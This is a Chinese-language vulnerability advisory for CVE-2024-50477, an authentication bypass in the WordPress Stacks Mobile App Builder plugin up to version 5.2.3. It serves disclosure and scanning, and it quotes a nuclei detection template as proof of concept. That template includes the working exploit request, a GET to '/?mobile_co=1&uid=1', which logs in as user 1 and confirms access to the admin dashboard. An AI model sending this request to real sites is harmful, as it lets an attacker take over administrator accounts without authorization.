WordPress Stacks Mobile App Builder Authentication Bypass Vulnerability

漏洞信息

漏洞名称： WordPress Stacks Mobile App Builder Authentication Bypass Vulnerability

漏洞编号：

• CVE： CVE-2024-50477

漏洞类型： 权限绕过

漏洞等级： 严重

漏洞描述： WordPress的Stacks Mobile App Builder插件≤5.2.3版本存在一个认证绕过漏洞，该漏洞源于对查询参数的不当处理，允许攻击者冒充任意用户。这一漏洞的CVSS评分为9.8，属于严重级别。Stacks Mobile App Builder是一个WordPress插件，旨在帮助用户构建移动应用程序。它广泛应用于需要快速部署移动应用解决方案的网站中。漏洞的技术根源在于插件在处理某些查询参数时未能正确验证用户身份，导致攻击者可以通过构造特定的HTTP请求绕过认证机制。这种漏洞可能导致攻击者完全接管网站管理员账户，进而执行任意操作，如修改网站内容、安装恶意插件或窃取敏感数据。由于这是一个认证绕过漏洞，攻击者无需任何前置条件即可利用，且可以远程执行攻击，因此其潜在的安全风险极高。

产品厂商： stacks

产品名称： Stacks Mobile App Builder

影响版本： <=5.2.3

来源： https://github.com/projectdiscovery/nuclei-templates/blob/37a33e5e192bf213f1a1c55de1867713a2d9ac88/http%2Fcves%2F2024%2FCVE-2024-50477.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2024-50477

info:
  name: WordPress Stacks Mobile App Builder <=5.2.3 - Authentication Bypass
  author: stealthcopter,vijay-sutar
  severity: critical
  description: |
    Stacks Mobile App Builder WordPress plugin ≤ 5.2.3 suffers from an authentication bypass vulnerability via improper handling of query parameters, allowing attackers to impersonate arbitrary users.
  reference:
    - https://github.com/stealthcopter/wordpress-hacking/blob/main/reports/stacks-mobile-app-builder-priv-esc/stacks-mobile-app-builder-priv-esc.md
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/stacks-mobile-app-builder/stacks-mobile-app-builder-523-authentication-bypass-via-account-takeover
    - https://patchstack.com/database/vulnerability/stacks-mobile-app-builder/wordpress-stacks-mobile-app-builder-plugin-5-2-3-account-takeover-vulnerability?_s_id=cve
    - https://github.com/20142995/nuclei-templates
    - https://github.com/RandomRobbieBF/CVE-2024-50477
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-50477
    cwe-id: CWE-288,CWE-306
    epss-score: 0.34151
    epss-percentile: 0.96759
    cpe: cpe:2.3:a:stacksmarket:stacks_mobile_app_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: stacks
    product: stacks_mobile_app_builder
    framework: wordpress
  tags: cve,cve2024,wordpress,auth-bypass,account-takeover,wp-plugin,stacks

http:
  - raw:
      - |
        GET /wp-content/plugins/stacks-mobile-app-builder/readme.txt HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /?mobile_co=1&uid=1 HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && status_code_3 == 200'
          - 'contains(body_1, "Stacks Mobile App Builder")'
          - 'contains(body_3, "Dashboard") && contains(body_3, "Plugins")'
        condition: and